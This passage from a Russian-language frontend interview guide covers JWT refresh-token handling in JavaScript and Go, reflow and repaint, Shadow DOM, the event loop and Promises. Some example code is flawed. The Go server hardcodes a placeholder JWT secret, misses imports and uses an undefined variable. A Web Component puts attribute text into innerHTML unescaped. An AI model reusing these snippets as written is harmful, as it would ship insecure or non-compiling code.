// localStorage.setItem('refreshToken', data.refreshToken);
}

// Выход
async logout() {
await fetch('/api/auth/logout', {
method: 'POST',
headers: {
'Authorization': `Bearer ${this.accessToken}`
},
credentials: 'include'
});

this.accessToken = null;
this.refreshToken = null;
}

// Автоматическое обновление токена
async refreshAccessToken() {
// Предотвращение параллельных запросов на обновление
if (this.refreshPromise) {
return this.refreshPromise;
}

this.refreshPromise = fetch('/api/auth/refresh', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ refreshToken: this.refreshToken }),
credentials: 'include'
})
.then((response) => response.json())
.then((data) => {
this.accessToken = data.accessToken;
this.refreshToken = data.refreshToken;
return data.accessToken;
})
.finally(() => {
this.refreshPromise = null;
});

return this.refreshPromise;
}

// Запрос с автоматическим обновлением токена
async fetchWithAuth(url, options = {}) {
const makeRequest = (token) => fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${token}`
}
});

let response = await makeRequest(this.accessToken);

if (response.status === 401) {
try {
const newToken = await this.refreshAccessToken();
response = await makeRequest(newToken);
} catch (error) {
// Refresh token истёк или невалиден
this.logout();
throw new Error('Session expired');
}
}

return response;
}
}

Пример реализации на сервере (Go):

package main

import (
"crypto/rand"
"encoding/base64"
"net/http"
"time"

"github.com/golang-jwt/jwt/v5"
)

type TokenPair struct {
AccessToken string `json:"accessToken"`
RefreshToken string `json:"refreshToken"`
}

type Claims struct {
UserID string `json:"userId"`
Role string `json:"role"`
jwt.RegisteredClaims
}

var jwtSecret = []byte("your-secret-key")
var refreshTokens = make(map[string]string) // В продакшене — Redis или БД

func generateAccessToken(userID, role string) (string, error) {
claims := &Claims{
UserID: userID,
Role: role,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(time.Now().Add(15 * time.Minute)),
IssuedAt: jwt.NewNumericDate(time.Now()),
},
}

token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString(jwtSecret)
}

func generateRefreshToken() string {
b := make([]byte, 32)
rand.Read(b)
return base64.URLEncoding.EncodeToString(b)
}

func loginHandler(w http.ResponseWriter, r *http.Request) {
// Проверка логина/пароля...
userID := "user123"
role := "user"

accessToken, _ := generateAccessToken(userID, role)
refreshToken := generateRefreshToken()

// Сохраняем refresh token
refreshTokens[refreshToken] = userID

// Устанавливаем refresh token в httpOnly cookie
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: refreshToken,
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
Path: "/api/auth",
MaxAge: 7 * 24 * 60 * 60, // 7 дней
})

// Access token возвращаем в теле ответа
json.NewEncoder(w).Encode(TokenPair{
AccessToken: accessToken,
})
}

func refreshHandler(w http.ResponseWriter, r *http.Request) {
// Получаем refresh token из cookie
cookie, err := r.Cookie("refresh_token")
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}

userID, exists := refreshTokens[cookie.Value]
if !exists {
http.Error(w, "Invalid refresh token", http.StatusUnauthorized)
return
}

// Ротация: удаляем старый refresh token
delete(refreshTokens, cookie.Value)

// Генерируем новую пару токенов
newAccessToken, _ := generateAccessToken(userID, "user")
newRefreshToken := generateRefreshToken()
refreshTokens[newRefreshToken] = userID

// Устанавливаем новый refresh token
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: newRefreshToken,
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
Path: "/api/auth",
MaxAge: 7 * 24 * 60 * 60,
})

json.NewEncoder(w).Encode(TokenPair{
AccessToken: newAccessToken,
})
}

func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
authHeader := r.Header.Get("Authorization")
if authHeader == "" || len(authHeader) < 8 || authHeader[:7] != "Bearer " {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}

tokenString := authHeader[7:]
claims := &Claims{}

token, err := jwt.ParseWithClaims(tokenString, claims, func(t *jwt.Token) (interface{}, error) {
return jwtSecret, nil
})

if err != nil || !token.Valid {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}

// Передаём информацию о пользователе в контекст
ctx := context.WithValue(r.Context(), "userID", claims.UserID)
ctx = context.WithValue(ctx, "role", claims.Role)
next.ServeHTTP(w, r.WithContext(ctx))
})
}

Хранение токенов

httpOnly Cookies (рекомендуемый подход):

  • Access Token: может храниться в памяти JavaScript или в httpOnly cookie.
  • Refresh Token: должен храниться в httpOnly cookie.

Преимущества:

  • Защита от XSS (JavaScript не имеет доступа к httpOnly cookies).
  • Автоматическая отправка с запросами.
  • Поддержка SameSite для защиты от CSRF.

Недостатки:

  • Требуется защита от CSRF (SameSite, CSRF-токены).

localStorage / sessionStorage:

  • Access Token: хранится в localStorage.
  • Refresh Token: хранится в localStorage.

Преимущества:

  • Не отправляется автоматически (защита от CSRF).
  • Простота реализации.

Недостатки:

  • Уязвимость к XSS (JavaScript имеет доступ к localStorage).
  • Не работает между вкладками без дополнительной логики.

Ротация токенов (Token Rotation)

Ротация — практика при которой каждый запрос на обновление токена генерирует новый Refresh Token, а старый становится недействительным. Это повышает безопасность:

  • Если Refresh Token украден, злоумышленник может использовать его только один раз.
  • Если легитимный пользователь обновит токен первым, попытка использования украденного токена приведёт к инвалидации всей сессии.

Обнаружение повторного использования (Reuse Detection):

func refreshHandler(w http.ResponseWriter, r *http.Request) {
cookie, _ := r.Cookie("refresh_token")
storedToken, exists := refreshTokens[cookie.Value]

if !exists {
// Токен уже использован или невалиден
// Инвалидируем все сессии пользователя
invalidateAllUserSessions(userID)
http.Error(w, "Token reuse detected", http.StatusUnauthorized)
return
}

// Удаляем старый токен
delete(refreshTokens, cookie.Value)

// Генерируем новую пару...
}

Сравнение подходов хранения

ПодходXSS защитаCSRF защитаСложность
httpOnly cookiesДаТребуется SameSite/CSRF-tokenСредняя
localStorageНетДаНизкая
Память JS + cookieЧастичноДаВысокая

Рекомендуемая архитектура

Access Token: память JavaScript (не сохраняется)
Refresh Token: httpOnly cookie с SameSite=Strict
CSRF-токен: для форм и мутирующих запросов

Эта комбинация обеспечивает защиту от обоих типов атак: XSS не может украсть refresh token из cookie, а CSRF не может выполнить запрос на обновление токена из-за SameSite=Strict.

Дополнительные меры безопасности

  • Короткое время жизни Access Token (5-15 минут).
  • Binding токена к устройству — привязка к fingerprint устройства.
  • Rate limiting на эндпоинт обновления токена.
  • Уведомление пользователя о подозрительной активности.
  • Возможность отзыва всех сессий через интерфейс пользователя.

Вопрос 24. Что такое reflow и repaint в браузере? Когда они вызываются?

Таймкод: 00:49:00

Ответ собеседника: неполный. Кандидат упомянул, что reflow связан с перестроением DOM-дерева, но не смог объяснить разницу между reflow и repaint, не упомял оптимизации.

Правильный ответ:

Что такое Reflow и Repaint

Reflow и repaint — это процессы, которые браузер выполняет для обновления отображения страницы при изменениях в DOM или стилях. Они различаются по стоимости и влиянию на производительность.

Repaint (Перерисовка)

Repaint происходит, когда изменяются визуальные свойства элемента, которые не влияют на его геометрию (размеры и позицию). Браузер перерисовывает элемент с новыми стилями, но не пересчитывает расположение элементов.

Свойства, вызывающие repaint:

  • color
  • background-color
  • background-image
  • border-color
  • box-shadow
  • visibility: hidden
  • outline

Repaint менее затратен, чем reflow, но всё же требует ресурсов, так как браузер должен перерисовать пиксели на экране.

Reflow (Перекомпоновка / Layout)

Reflow происходит, когда изменяются свойства, влияющие на геометрию или позиционирование элементов. Браузер должен пересчитать размеры и позиции затронутых элементов, а затем перестроить render tree и перерисовать экран.

Reflow — значительно более затратная операция, чем repaint, так как она может затронуть не только изменённый элемент, но и его дочерние элементы, родительские элементы и соседние элементы.

Свойства, вызывающие reflow:

  • width, height
  • padding, margin
  • border-width
  • position, top, left, right, bottom
  • display
  • font-size, font-family
  • line-height
  • text-align
  • overflow

Операции, вызывающие reflow:

  • Добавление или удаление элемента из DOM.
  • Изменение размеров окна (resize).
  • Вычисление значений offsetWidth, offsetHeight, scrollTop, scrollLeft, getComputedStyle() и других свойств, требующих актуальной геометрии.
  • Активация CSS-псевдоклассов (:hover), меняющих геометрию.
  • Изменение содержимого текстового узла, влияющее на размер элемента.

Связь между reflow и repaint

Каждый reflow вызывает repaint, но не каждый repaint вызывает reflow.

Reflow → Repaint → Composite
Repaint → Composite

Критический путь рендеринга (Critical Rendering Path)

Полный цикл рендеринга включает:

  1. DOM — парсинг HTML, построение DOM-дерева.
  2. CSSOM — парсинг CSS, построение CSSOM.
  3. Render Tree — объединение DOM и CSSOM.
  4. Layout (Reflow) — вычисление размеров и позиций.
  5. Paint (Repaint) — заполнение пикселей.
  6. Composite — наложение слоёв, вывод на экран.

Примеры кода, вызывающие reflow и repaint

// Только repaint — изменение цвета
element.style.color = 'red';
element.style.backgroundColor = 'blue';

// Reflow — изменение размеров
element.style.width = '200px';
element.style.height = '100px';
element.style.padding = '10px';

// Reflow — изменение позиции
element.style.position = 'absolute';
element.style.top = '50px';

// Reflow — добавление элемента
const newElement = document.createElement('div');
newElement.textContent = 'New element';
document.body.appendChild(newElement);

// Reflow — изменение шрифта
element.style.fontSize = '20px';

// Forced reflow — чтение свойств после изменения
element.style.width = '200px';
const width = element.offsetWidth; // Браузер вынужден выполнить reflow

Layout Thrashing (forced synchronous layout)

Layout thrashing — ситуация, когда JavaScript многократно читает свойства, требующие reflow, после каждого изменения DOM. Это заставляет браузер выполнять reflow на каждой итерации.

// Плохо — layout thrashing
const elements = document.querySelectorAll('.item');
for (let i = 0; i < elements.length; i++) {
// Изменение — требует reflow
elements[i].style.width = '200px';

// Чтение — вынуждает reflow
const width = elements[i].offsetWidth;
console.log(width);
}

Решение — группировка операций чтения и записи:

// Хорошо — сначала все изменения, потом все чтения
const elements = document.querySelectorAll('.item');
const widths = [];

// Фаза записи
for (let i = 0; i < elements.length; i++) {
elements[i].style.width = '200px';
}

// Фаза чтения
for (let i = 0; i < elements.length; i++) {
widths.push(elements[i].offsetWidth);
}

Оптимизация reflow и repaint

1. Пакетные изменения DOM (Batch DOM changes)

Вместо изменения каждого элемента по отдельности, соберите все изменения и примените их за один раз:

// Плохо — множественные reflow
element.style.width = '100px';
element.style.height = '200px';
element.style.margin = '10px';

// Хорошо — одно изменение
element.style.cssText = 'width: 100px; height: 200px; margin: 10px;';

// Или через класс
element.classList.add('new-styles');

2. Использование DocumentFragment

При добавлении множества элементов используйте DocumentFragment для минимизации reflow:

// Плохо — reflow на каждой итерации
for (let i = 0; i < 1000; i++) {
const div = document.createElement('div');
div.textContent = `Item ${i}`;
document.body.appendChild(div);
}

// Хорошо — один reflow
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
const div = document.createElement('div');
div.textContent = `Item ${i}`;
fragment.appendChild(div);
}
document.body.appendChild(fragment);

3. Отключение элемента перед изменениями

// Скрыть элемент
element.style.display = 'none';

// Множественные изменения
element.style.width = '200px';
element.style.height = '100px';
element.style.padding = '10px';

// Показать элемент — один reflow
element.style.display = 'block';

4. Использование CSS transform вместо изменения позиций

CSS transform и opacity обрабатываются на этапе composite и не вызывают reflow или repaint:

// Плохо — вызывает reflow
element.style.left = '100px';
element.style.top = '50px';

// Хорошо — только composite
element.style.transform = 'translate(100px, 50px)';

5. Использование requestAnimationFrame

Для анимаций и плавных изменений используйте requestAnimationFrame:

// Плохо — может вызвать layout thrashing
setInterval(() => {
element.style.left = parseInt(element.style.left) + 1 + 'px';
}, 16);

// Хорошо — синхронизация с частотой обновления экрана
function animate() {
element.style.transform = `translateX(${position}px)`;
position += 1;
requestAnimationFrame(animate);
}
requestAnimationFrame(animate);

6. Использование CSS contain

CSS contain позволяет указать браузеру, что изменения внутри элемента не влияют на внешние элементы:

.container {
contain: layout style paint;
}

Значения:

  • layout — изменения внутри не влияют на внешний layout.
  • style — стили внутри не влияют на внешние элементы.
  • paint — содержимое не рисуется за пределами элемента.
  • size — размер элемента не зависит от содержимого.

7. Промотируйте элементы в отдельные слои

.animated-element {
will-change: transform;
/* или */
transform: translateZ(0);
}

Элемент будет вынесен на отдельный GPU-слой, и его анимация будет обрабатываться без reflow других элементов.

Стоимость операций

ОперацияСтоимостьОписание
CompositeМинимальнаяНаложение слоёв, GPU-ускорение
RepaintСредняяПерерисовка пикселей
ReflowВысокаяПересчёт геометрии и перерисовка
Forced reflowОчень высокаяМножественные reflow в цикле

Инструменты для отладки

  • Chrome DevTools → Performance — запись и анализ reflow/repaint.
  • Chrome DevTools → Rendering → Paint flashing — визуализация перерисовок.
  • Chrome DevTools → Rendering → Layout Shift Regions — визуализация сдвигов layout.

Итог

Reflow — дорогостоящая операция, которую следует минимизировать. Основные стратегии оптимизации: пакетные изменения DOM, использование transform для анимаций, группировка чтения и записи, использование CSS contain. Repaint менее затратен, но тоже требует внимания при частых изменениях визуальных свойств.

Вопрос 25. Что такое Shadow DOM и для чего он используется?

Таймкод: 00:51:00

Ответ собеседния: неполный. Кандидат не смог ответить на вопрос и упомянул, что не использовал Shadow DOM напрямую.

Правильный ответ:

Что такое Shadow DOM

Shadow DOM — это технология веб-платформы, которая позволяет создавать изолированное DOM-дерево внутри элемента, скрытое от основного документа. Shadow DOM обеспечивает инкапсуляцию — стили и DOM-структура внутри shadow tree не влияют на внешний документ и наоборот.

Shadow DOM является частью спецификации Web Components наряду с Custom Elements и HTML Templates.

Проблема, которую решает Shadow DOM

В традиционном DOM все стили и элементы являются глобальными. Это приводит к проблемам:

  • Утечка стилей — CSS из одного компонента может повлиять на другой.
  • Конфликты имён классов — два компонента могут использовать одинаковые классы.
  • Непредсказуемое поведение — глобальные стили могут сломать компонент.

Shadow DOM решает эти проблемы, создавая изолированную среду для каждого компонента.

Создание Shadow DOM

Shadow DOM создаётся с помощью метода attachShadow():

// Создание shadow root
const host = document.getElementById('my-component');
const shadowRoot = host.attachShadow({ mode: 'open' });

// Добавление содержимого
shadowRoot.innerHTML = `
<style>
/* Стили инкапсулированы — не влияют на внешний документ */
.title {
color: blue;
font-size: 24px;
}
button {
background: #007bff;
color: white;
border: none;
padding: 8px 16px;
}
</style>
<div class="title">Shadow DOM Component</div>
<button id="action-btn">Click me</button>
`;

Режимы Shadow DOM

mode: 'open' — shadow root доступен из JavaScript через свойство shadowRoot:

const shadow = element.shadowRoot; // Доступен

mode: 'closed' — shadow root недоступен извне:

const shadow = element.shadowRoot; // null

Закрытый режим используется редко, так как ограничивает возможности отладки и расширения.

Инкапсуляция стилей

Стили внутри Shadow DOM не выходят за его пределы, и внешние стили не проникают внутрь:

// Shadow DOM
shadowRoot.innerHTML = `
<style>
p { color: red; } /* Только для p внутри shadow DOM */
</style>
<p>This text is red</p>
`;

// Внешний CSS
// p { color: blue; } /* Не влияет на p внутри shadow DOM */

Исключения из инкапсуляции стилей

Некоторые CSS-свойства наследуются через Shadow DOM:

  • color
  • font-family
  • font-size
  • line-height
  • text-align
  • visibility
  • Пользовательские свойства (CSS Custom Properties / CSS Variables)
// Внешний CSS
:root {
--primary-color: #007bff;
--font-size: 16px;
}

// Shadow DOM может использовать эти переменные
shadowRoot.innerHTML = `
<style>
button {
background: var(--primary-color);
font-size: var(--font-size);
}
</style>
<button>Styled with CSS variables</button>
`;

::slotted() селектор

Позволяет стилизовать элементы, переданные в слоты:

shadowRoot.innerHTML = `
<style>
::slotted(.highlight) {
background: yellow;
}
</style>
<slot name="content"></slot>
`;

CSS :host селектор

Стилизует хост-элемент (элемент, к которому прикреплён Shadow DOM):

shadowRoot.innerHTML = `
<style>
:host {
display: block;
border: 1px solid #ccc;
padding: 16px;
}

:host(.active) {
border-color: blue;
}

:host-context(.dark-theme) {
background: #333;
color: white;
}
</style>
<slot></slot>
`;

Слоты (Slots)

Слоты позволяют вставлять внешнее содержимое в Shadow DOM:

Безымянный слот (default slot):

// Shadow DOM
shadowRoot.innerHTML = `
<div class="card">
<h3><slot name="title">Default Title</slot></h3>
<slot>Default content</slot>
</div>
`;

// Использование
document.body.innerHTML = `
<my-card>
<span slot="title">Custom Title</span>
<p>Custom content goes here</p>
</my-card>
`;

Именованные слоты:

shadowRoot.innerHTML = `
<header><slot name="header"></slot></header>
<main><slot name="content"></slot></main>
<footer><slot name="footer"></slot></footer>
`;

События в Shadow DOM

События, происходящие внутри Shadow DOM, могут всплывать наружу. Свойство event.target может быть переопределено (retargeted) для сохранения инкапсуляции:

shadowRoot.innerHTML = `
<button id="inner-btn">Click</button>
`;

shadowRoot.getElementById('inner-btn').addEventListener('click', (event) => {
console.log(event.target); // <button> внутри shadow DOM
});

// Снаружи
host.addEventListener('click', (event) => {
console.log(event.target); // <my-component> (retargeted)
});

Для получения реального целевого элемента используется event.composedPath():

host.addEventListener('click', (event) => {
const realTarget = event.composedPath()[0];
console.log(realTarget); // <button> внутри shadow DOM
});

События с composed: true проходят через границу Shadow DOM:

const event = new CustomEvent('my-event', {
bubbles: true,
composed: true, // Проходит через Shadow DOM
detail: { message: 'Hello' }
});
this.dispatchEvent(event);

Custom Elements + Shadow DOM

Типичный пример использования Shadow DOM с Custom Elements:

class MyButton extends HTMLElement {
constructor() {
super();

// Создание Shadow DOM
this.attachShadow({ mode: 'open' });

// Начальное содержимое
this.shadowRoot.innerHTML = `
<style>
:host {
display: inline-block;
}

button {
background: var(--btn-bg, #007bff);
color: var(--btn-color, white);
border: none;
padding: 10px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 14px;
}

button:hover {
opacity: 0.9;
}

:host([disabled]) button {
opacity: 0.5;
cursor: not-allowed;
}
</style>
<button part="button">
<slot>Default Text</slot>
</button>
`;

// Обработка кликов
this.shadowRoot.querySelector('button').addEventListener('click', () => {
if (!this.hasAttribute('disabled')) {
this.dispatchEvent(new CustomEvent('my-click'));
}
});
}

// Наблюдаемые атрибуты
static get observedAttributes() {
return ['disabled'];
}

attributeChangedCallback(name, oldValue, newValue) {
// Реакция на изменения атрибутов
}
}

// Регистрация элемента
customElements.define('my-button', MyButton);

Использование:

<my-button>Click me</my-button>
<my-button disabled>Disabled</my-button>

<style>
/* Стилизация через CSS переменные */
my-button {
--btn-bg: #28a745;
--btn-color: white;
}

/* Стилизация через ::part */
my-button::part(button) {
font-weight: bold;
}
</style>

::part() селектор

Позволяет стилизовать внутренние элементы Shadow DOM снаружи через атрибут part:

shadowRoot.innerHTML = `
<button part="button inner-button">
<slot></slot>
</button>
`;
/* Внешний CSS */
my-button::part(button) {
font-weight: bold;
}

Стилизация слотов

/* Стилизация содержимого слота */
my-button::slotted(span) {
font-weight: bold;
}

Преимущества Shadow DOM

  • Инкапсуляция стилей — стили не утекают и не конфликтуют.
  • Инкапсуляция DOM — внутренняя структура скрыта.
  • Переиспользуемость — компоненты можно использовать в любом проекте.
  • Совместимость — работает с любым фреймворком или без него.

Недостатки Shadow DOM

  • Сложность отладки — внутренняя структура скрыта в DevTools (хотя можно включить отображение).
  • Ограничения стилизации — нельзя стилизовать внутренние элементы напрямую (только через ::part, ::slotted, CSS-переменные).
  • SEO — содержимое Shadow DOM может быть недоступно для поисковых ботов.
  • Accessibility — требует дополнительной работы для обеспечения доступности.
  • События — retargeting событий может быть неочевидным.

Использование Shadow DOM

Shadow DOM используется в:

  • Web Components — нативные компоненты браузера.
  • Фреймворки — Lit, Stencil, Angular (ViewEncapsulation.ShadowDOM).
  • Библиотеки компонентов — многие UI-библиотеки используют Shadow DOM для инкапсуляции.
  • Встроенные элементы браузера<video>, <input>, <textarea> используют Shadow DOM внутри.

Пример: полноценный компонент

class TodoItem extends HTMLElement {
static get observedAttributes() {
return ['checked', 'text'];
}

constructor() {
super();
this.attachShadow({ mode: 'open' });
this.render();
}

connectedCallback() {
this.shadowRoot.querySelector('.checkbox')
.addEventListener('change', this.handleChange.bind(this));
}

disconnectedCallback() {
this.shadowRoot.querySelector('.checkbox')
.removeEventListener('change', this.handleChange.bind(this));
}

handleChange(event) {
this.dispatchEvent(new CustomEvent('todo-toggle', {
bubbles: true,
composed: true,
detail: { checked: event.target.checked }
}));
}

render() {
const checked = this.hasAttribute('checked') ? 'checked' : '';
const text = this.getAttribute('text') || '';

this.shadowRoot.innerHTML = `
<style>
:host {
display: flex;
align-items: center;
padding: 8px;
border-bottom: 1px solid #eee;
}

:host([checked]) .text {
text-decoration: line-through;
color: #999;
}

.checkbox {
margin-right: 12px;
}

.text {
flex: 1;
}

.delete {
background: none;
border: none;
color: #dc3545;
cursor: pointer;
font-size: 18px;
}
</style>

<input type="checkbox" class="checkbox" ${checked}>
<span class="text">${text}</span>
<button class="delete" part="delete-btn">×</button>
`;
}

attributeChangedCallback(name, oldValue, newValue) {
if (oldValue !== newValue) {
this.render();
}
}
}

customElements.define('todo-item', TodoItem);

Использование:

<todo-item text="Buy groceries"></todo-item>
<todo-item text="Walk the dog" checked></todo-item>

<style>
todo-item::part(delete-btn) {
font-weight: bold;
}
</style>

Вопрос 26. Расскажите про цикл событий (Event Loop) в JavaScript: микротаски и макротаски.

Таймкод: 00:52:00

Ответ собеседника: частичный. Кандидат рассказал о микротасках и макротасках, упомянул queueMicrotask, но не привёл конкретные примеры и не описал полный порядок выполнения.

Правильный ответ:

Что такое Event Loop

JavaScript — однопоточный язык с неблокирующей моделью ввода-вывода. Event Loop (цикл событий) — это механизм, который позволяет JavaScript выполнять асинхронные операции, не блокируя основной поток.

Event Loop координирует выполнение кода, обработку событий, выполнение колбэков и отрисовку в браузере.

Компоненты Event Loop

Call Stack (Стек вызовов) — структура данных, отслеживающая текущую выполняемую функцию. Когда функция вызывается, она помещается в стек. Когда функция возвращает значение, она извлекается из стека.

function first() {
console.log('first');
second();
console.log('first end');
}

function second() {
console.log('second');
}

first();

// Call Stack:
// 1. first() добавлен
// 2. console.log('first') добавлен и выполнен
// 3. second() добавлен
// 4. console.log('second') добавлен и выполнен
// 5. second() извлечён
// 6. console.log('first end') добавлен и выполнен
// 7. first() извлечён

Web APIs — API, предоставляемые браузером (или Node.js): setTimeout, setInterval, fetch, DOM events, XMLHttpRequest. Эти API выполняются вне основного потока.

Task Queue (Очередь задач / Macrotask Queue) — очередь для макрозадач. Содержит колбэки от setTimeout, setInterval, обработчики событий DOM, setImmediate (Node.js), I/O.

Microtask Queue (Очередь микрозадач) — очередь для микрозадач. Содержит колбэки от Promise.then/catch/finally, queueMicrotask(), MutationObserver, process.nextTick (Node.js).

Макрозадачи (Macrotasks)

Макрозадачи — это задачи, которые выполняются по одной за каждый цикл Event Loop:

  • setTimeout и setInterval
  • Обработчики событий DOM (click, keydown и т.д.)
  • setImmediate (Node.js)
  • requestAnimationFrame (браузер)
  • I/O операции
  • MessageChannel
  • postMessage

Микрозадачи (Microtasks)

Микрозадачи — это задачи с более высоким приоритетом, которые выполняются после текущего скрипта и перед следующей макрозадачей:

  • Promise.then/catch/finally
  • queueMicrotask()
  • MutationObserver
  • process.nextTick (Node.js, высший приоритет)

Порядок выполнения Event Loop

  1. Выполнить весь синхронный код (Call Stack).
  2. Выполнить ВСЕ микрозадачи из Microtask Queue (очередь должна быть пустой).
  3. Выполнить ОДНУ макрозадачу из Task Queue.
  4. Повторить шаги 2-3.

Важно: после каждой макрозадачи выполняются все микрозадачи, а не наоборот.

Пример 1: Базовый порядок

console.log('1'); // Синхронный код

setTimeout(() => {
console.log('2'); // Макрозадача
}, 0);

Promise.resolve().then(() => {
console.log('3'); // Микрозадача
});

console.log('4'); // Синхронный код

// Вывод: 1, 4, 3, 2

Порядок выполнения:

  1. console.log('1') — синхронный код.
  2. setTimeout — регистрирует колбэк в Task Queue.
  3. Promise.then — регистрирует колбэк в Microtask Queue.
  4. console.log('4') — синхронный код.
  5. Синхронный код завершён → выполняются микрозадачи → console.log('3').
  6. Микрозадачи завершены → выполняется макрозадача → console.log('2').

Пример 2: Вложенные микрозадачи

console.log('start');

setTimeout(() => console.log('timeout'), 0);

Promise.resolve()
.then(() => {
console.log('promise 1');
return Promise.resolve();
})
.then(() => {
console.log('promise 2');
});

Promise.resolve().then(() => {
console.log('promise 3');
});

console.log('end');

// Вывод: start, end, promise 1, promise 3, promise 2, timeout

Порядок выполнения:

  1. start, end — синхронный код.
  2. promise 1 — первая микрозадача.
  3. promise 3 — вторая микрозадача (добавлена до promise 2).
  4. promise 2 — третья микрозадача (добавлена внутри promise 1).
  5. timeout — макрозадача.

Пример 3: queueMicrotask

console.log('1');

setTimeout(() => console.log('2'), 0);

queueMicrotask(() => {
console.log('3');
});

Promise.resolve().then(() => {
console.log('4');
});

console.log('5');

// Вывод: 1, 5, 3, 4, 2

queueMicrotask() добавляет задачу в Microtask Queue, аналогично Promise.then.

Пример 4: MutationObserver

const target = document.getElementById('target');

const observer = new MutationObserver((mutations) => {
console.log('Mutation observed'); // Микрозадача
});

observer.observe(target, { childList: true });

setTimeout(() => {
console.log('timeout'); // Макрозадача
}, 0);

target.appendChild(document.createElement('div'));

// Вывод: Mutation observed, timeout

Пример 5: requestAnimationFrame

console.log('script start');

setTimeout(() => {
console.log('setTimeout');
}, 0);

requestAnimationFrame(() => {
console.log('rAF');
});

Promise.resolve().then(() => {
console.log('promise');
});

console.log('script end');

// Вывод: script start, script end, promise, setTimeout, rAF
// (rAF выполняется перед отрисовкой, обычно после макрозадач)

requestAnimationFrame выполняется перед отрисовкой кадра, обычно после макрозадач текущего цикла.

Пример 6: Сложный порядок

console.log('1');

setTimeout(() => {
console.log('2');
Promise.resolve().then(() => {
console.log('3');
});
}, 0);

new Promise((resolve) => {
console.log('4');
resolve();
}).then(() => {
console.log('5');
setTimeout(() => {
console.log('6');
}, 0);
});

console.log('7');

// Вывод: 1, 4, 7, 5, 2, 3, 6

Разбор:

  1. 1 — синхронный.
  2. setTimeout — регистрирует макрозадачу.
  3. 4 — синхронный внутри Promise executor.
  4. then — регистрирует микрозадачу.
  5. 7 — синхронный.
  6. 5 — микрозадача.
  7. setTimeout внутри then — регистрирует макрозадачу.
  8. 2 — макрозадача (setTimeout).
  9. 3 — микрозадача (Promise внутри setTimeout).
  10. 6 — макрозадача (setTimeout внутри then).

Визуализация Event Loop

┌─────────────────────────────┐
│ Call Stack │
│ (синхронный код) │
└─────────────────────────────┘


┌─────────────────────────────┐
│ Microtask Queue │
│ - Promise.then/catch │
│ - queueMicrotask │
│ - MutationObserver │
└─────────────────────────────┘


┌─────────────────────────────┐
│ Task Queue │
│ - setTimeout │
│ - setInterval │
│ - DOM events │
│ - I/O │
└─────────────────────────────┘


┌─────────────────────────────┐
│ Render (отрисовка) │
│ - requestAnimationFrame │
│ - Layout, Paint │
└─────────────────────────────┘

Особенности в Node.js

В Node.js Event Loop имеет дополнительные фазы:

  1. timerssetTimeout, setInterval.
  2. pending callbacks — отложенные I/O колбэки.
  3. idle, prepare — внутренние.
  4. poll — получение новых I/O событий.
  5. checksetImmediate.
  6. close callbackssocket.on('close', ...).

process.nextTick() имеет наивысший приоритет — выполняется после каждой фазы, а не только после макрозадач.

// Node.js
process.nextTick(() => console.log('nextTick'));
Promise.resolve().then(() => console.log('promise'));
setImmediate(() => console.log('setImmediate'));
setTimeout(() => console.log('setTimeout'), 0);

// Вывод: nextTick, promise, setTimeout, setImmediate

Практические рекомендации

  • Используйте микрозадачи для отложенного выполнения с высоким приоритетом.
  • Не злоупотребляйте микрозадачами — они могут заблокировать отрисовку.
  • Для анимаций используйте requestAnimationFrame.
  • Для тяжёлых вычислений используйте setTimeout или Web Workers, чтобы не блокировать основной поток.
  • queueMicrotask() — предпочтительный способ добавления микрозадач вместо Promise.resolve().then().
// Предпочтительно
queueMicrotask(() => {
// Высокоприоритетная задача
});

// Вместо
Promise.resolve().then(() => {
// То же самое, но менее явно
});

Итог

Event Loop — фундаментальный механизм JavaScript для асинхронного выполнения. Понимание разницы между микрозадачами и макрозадачами, а также порядка их выполнения, критически важно для написания предсказуемого и производительного кода.

Вопрос 27. Что такое Promise и Async/Await? В чём разница?

Таймкод: 00:54:00

Ответ собеседника: частичный. Кандидат рассказал про Promise и Async/Await, но не упомял состояния Promise, цепочки then/catch и обработку ошибок в async/await.

Правильный ответ:

Что такое Promise

Promise — это объект, представляющий результат асинхронной операции, которая может быть завершена в будущем. Promise был введён в ES6 (2015) как решение проблемы callback hell.

Состояния Promise

Promise может находиться в одном из трёх состояний:

  • Pending (ожидание) — начальное состояние, операция ещё не завершена.
  • Fulfilled (выполнен) — операция завершена успешно, есть результат.
  • Rejected (отклонён) — операция завершена с ошибкой, есть причина отклонения.

Promise переходит из pending в fulfilled или rejected ровно один раз. После этого состояние не меняется (settled).

Создание Promise

const promise = new Promise((resolve, reject) => {
// Асинхронная операция
setTimeout(() => {
const success = true;

if (success) {
resolve('Data loaded'); // Переводит в fulfilled
} else {
reject(new Error('Failed to load')); // Переводит в rejected
}
}, 1000);
});

// Использование
promise
.then((result) => {
console.log(result); // 'Data loaded'
})
.catch((error) => {
console.error(error.message); // 'Failed to load'
})
.finally(() => {
console.log('Operation complete'); // Выполняется всегда
});

Цепочки then/catch

Promise поддерживает цепочки вызовов. Каждый then возвращает новый Promise:

fetch('/api/user')
.then((response) => {
if (!response.ok) {
throw new Error('HTTP error');
}
return response.json(); // Возвращает новый Promise
})
.then((user) => {
console.log('User:', user);
return fetch(`/api/posts?userId=${user.id}`);
})
.then((response) => response.json())
.then((posts) => {
console.log('Posts:', posts);
})
.catch((error) => {
console.error('Error:', error);
});

Статические методы Promise

Promise.resolve — создаёт успешно выполненный Promise:

const resolved = Promise.resolve('value');
resolved.then((v) => console.log(v)); // 'value'

Promise.reject — создаёт отклонённый Promise:

const rejected = Promise.reject(new Error('error'));
rejected.catch((e) => console.error(e.message)); // 'error'

Promise.all — ожидает выполнения всех Promise. Отклоняется, если хотя бы один отклонён:

const [users, posts, comments] = await Promise.all([
fetch('/api/users').then(r => r.json()),
fetch('/api/posts').then(r => r.json()),
